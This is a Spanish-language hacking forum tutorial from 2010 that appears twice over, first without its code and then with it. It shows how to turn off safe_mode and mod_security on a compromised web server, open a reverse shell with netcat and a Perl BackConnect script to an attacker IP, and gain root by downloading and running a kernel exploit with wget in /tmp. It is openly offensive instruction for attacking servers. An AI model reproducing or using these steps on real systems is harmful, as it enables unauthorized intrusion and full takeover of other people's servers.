Bypass, shell inversa y ROOT.
Publicado: 08 Dic 2010, 17:31
Introducción
Si actualmente le preguntáramos al alguien iniciado en este mundillo del “harking” si han podido ingresar aun algún servidor y obtenido una Shell los que lo han logrado diría que si y haría referencia haya Shell php, pues bueno quiero decirles que hay mas que eso; que podemos tener permisos de ROOT en ese servidor, vamos a ver como lograrlo.
¿Que pudiera ser un obstáculo?
En muchas ocasiones nos encontramos con el clásico “Safe_Mode ON” o el “Mod_Security” (o ambos). Teniendo una Shell php ya subida al servidor veamos como poder hacerle un “bypass” a estos dos inconvenientes.
Haciendo Bypass.
Empecemos con el Modo seguro (safe_mode), esta en el archivo php.ini para poder hacer un bypass existen varios modos de lo más conocido son los exploits, pero aquí expondré lo que a mi me ha funcionado.
Del archivo php.ini lo que no interesa es lo siguiente:
* “Engine” ON
* “register_globals” ON
* “safe_mode_exec_dir” ON
* “safe_mode” OFF
* “safe_mode_include_dir” ON
Muy bien ya sabemos que es lo que necesitamos la pregunta seria entonces ¿como lo hacemos? La respuesta es sencilla subiendo un archivo php.ini con lo siguiente:
Con este .ini dentro del mismo directorio en donde tenemos nuestra shell php tendríamos el “safe_mode off” dentro del mismo.
Para el mod_security simplemente editamos el .htaccess agregando lo siguiente:
Terminado esto ya tendríamos bypass sobre safe_mode y mod_security.
Shell inversa.
¿Por que inversa? Si te hiciste esa pregunta la respuesta es la siguiente: la mayoría de los servidores web por cuestiones de seguridad no permiten conexiones entrantes 0 directas (que nuestra pc conecte al servidor) pero si se permiten las conexiones salientes (que el servidor conecte a nuestra pc).
Aquí vamos a necesitar NetCat y un algún Backdoor ( me parece que algunas Shell php traen la opción de realizar uan conexión inversa la verdad no lo he probado) uno muy usado es el BackConnect de D.O.M.
Así que tenemos que abrir un puesto para que el servidor nos pueda conectar, en NetCat escribiremos lo siguiente:
ejemplo:
Ahora en el backdoor que en este caso es BackConnect:
Ejemplo:
Listo ya tendremos nuestra Shell inversa conectada y funcional.
Escalando privilegios.
Para esto primero tenemos que saber que kernel está usando el servidor àra eso usaremos el comando:
Con los datos que nos devuelva buscaremos algún exploit para escalar privilegios, podemos usar google o dirigirnos la página milw0rm (palabra a buscar kernel)
Ya que tengamos el exploit compilado lo subimos a algún hosting gratuito vamos a la Shell nos movemos a algún directorio donde tengamos permisos de ejecución (/tmp es una buena opción) y descargamos el exploit
ya que este descargado le damos permisos
y lo ejecutamos
listo ya deveriamos tener permisos de root.
Despedida.
Espero que a mas de uno le sirva lo aquí expuesto, talvez después valla ampliando mas este tema esperen próximas “entregas”, un saludo y hasta la próxima.
Comentarios, sugerencias y dudas háganmelas saber por favor.
Si actualmente le preguntáramos al alguien iniciado en este mundillo del “harking” si han podido ingresar aun algún servidor y obtenido una Shell los que lo han logrado diría que si y haría referencia haya Shell php, pues bueno quiero decirles que hay mas que eso; que podemos tener permisos de ROOT en ese servidor, vamos a ver como lograrlo.
¿Que pudiera ser un obstáculo?
En muchas ocasiones nos encontramos con el clásico “Safe_Mode ON” o el “Mod_Security” (o ambos). Teniendo una Shell php ya subida al servidor veamos como poder hacerle un “bypass” a estos dos inconvenientes.
Haciendo Bypass.
Empecemos con el Modo seguro (safe_mode), esta en el archivo php.ini para poder hacer un bypass existen varios modos de lo más conocido son los exploits, pero aquí expondré lo que a mi me ha funcionado.
Del archivo php.ini lo que no interesa es lo siguiente:
* “Engine” ON
Código: Seleccionar todo
Enable the PHP scripting language engine under Apache
* “register_globals” ON
Código: Seleccionar todo
Using form variables as globals can easily lead to possible security problems, if the code is not very well thought of.
* “safe_mode_exec_dir” ON
Código: Seleccionar todo
When safe_mode is on, only executables located in the safe_mode_exec_dir, will be allowed to be executed via the exec family of functions.
* “safe_mode” OFF
* “safe_mode_include_dir” ON
Código: Seleccionar todo
When safe_mode is on, UID/GID checks are bypassed when including files from this directory and its subdirectories.
(directory must also be in include_path or full path must be used when including)
Muy bien ya sabemos que es lo que necesitamos la pregunta seria entonces ¿como lo hacemos? La respuesta es sencilla subiendo un archivo php.ini con lo siguiente:
Código: Seleccionar todo
[php]
engine = on
register_globals = on
safe_mode_exec_dir = on
safe_mode = off
safe_mode_include_dir = on
Con este .ini dentro del mismo directorio en donde tenemos nuestra shell php tendríamos el “safe_mode off” dentro del mismo.
Para el mod_security simplemente editamos el .htaccess agregando lo siguiente:
Código: Seleccionar todo
<IfModule mod_security.c>
SecFilterEngine off
SecFilterScanPOST off
SecFilterCheckURLEncoding off
SecFilterCheckUnicodeEncoding off
</IfModule>
Terminado esto ya tendríamos bypass sobre safe_mode y mod_security.
Shell inversa.
¿Por que inversa? Si te hiciste esa pregunta la respuesta es la siguiente: la mayoría de los servidores web por cuestiones de seguridad no permiten conexiones entrantes 0 directas (que nuestra pc conecte al servidor) pero si se permiten las conexiones salientes (que el servidor conecte a nuestra pc).
Aquí vamos a necesitar NetCat y un algún Backdoor ( me parece que algunas Shell php traen la opción de realizar uan conexión inversa la verdad no lo he probado) uno muy usado es el BackConnect de D.O.M.
Así que tenemos que abrir un puesto para que el servidor nos pueda conectar, en NetCat escribiremos lo siguiente:
Código: Seleccionar todo
nc -lvvp “puerto”
ejemplo:
Código: Seleccionar todo
nc -lvvp 1239
Ahora en el backdoor que en este caso es BackConnect:
Código: Seleccionar todo
perl BackConnect.pl “nuestra ip” “nuestro puerto”
Ejemplo:
Código: Seleccionar todo
perl BackConnect.pl 200.123.1.78 1239
Listo ya tendremos nuestra Shell inversa conectada y funcional.
Escalando privilegios.
Para esto primero tenemos que saber que kernel está usando el servidor àra eso usaremos el comando:
Código: Seleccionar todo
uname –r
Con los datos que nos devuelva buscaremos algún exploit para escalar privilegios, podemos usar google o dirigirnos la página milw0rm (palabra a buscar kernel)
Ya que tengamos el exploit compilado lo subimos a algún hosting gratuito vamos a la Shell nos movemos a algún directorio donde tengamos permisos de ejecución (/tmp es una buena opción) y descargamos el exploit
Código: Seleccionar todo
wget http://www.sitio.co m/exploit
ya que este descargado le damos permisos
Código: Seleccionar todo
chmod 777 exploit
y lo ejecutamos
Código: Seleccionar todo
./exploit
listo ya deveriamos tener permisos de root.
Despedida.
Espero que a mas de uno le sirva lo aquí expuesto, talvez después valla ampliando mas este tema esperen próximas “entregas”, un saludo y hasta la próxima.
Comentarios, sugerencias y dudas háganmelas saber por favor.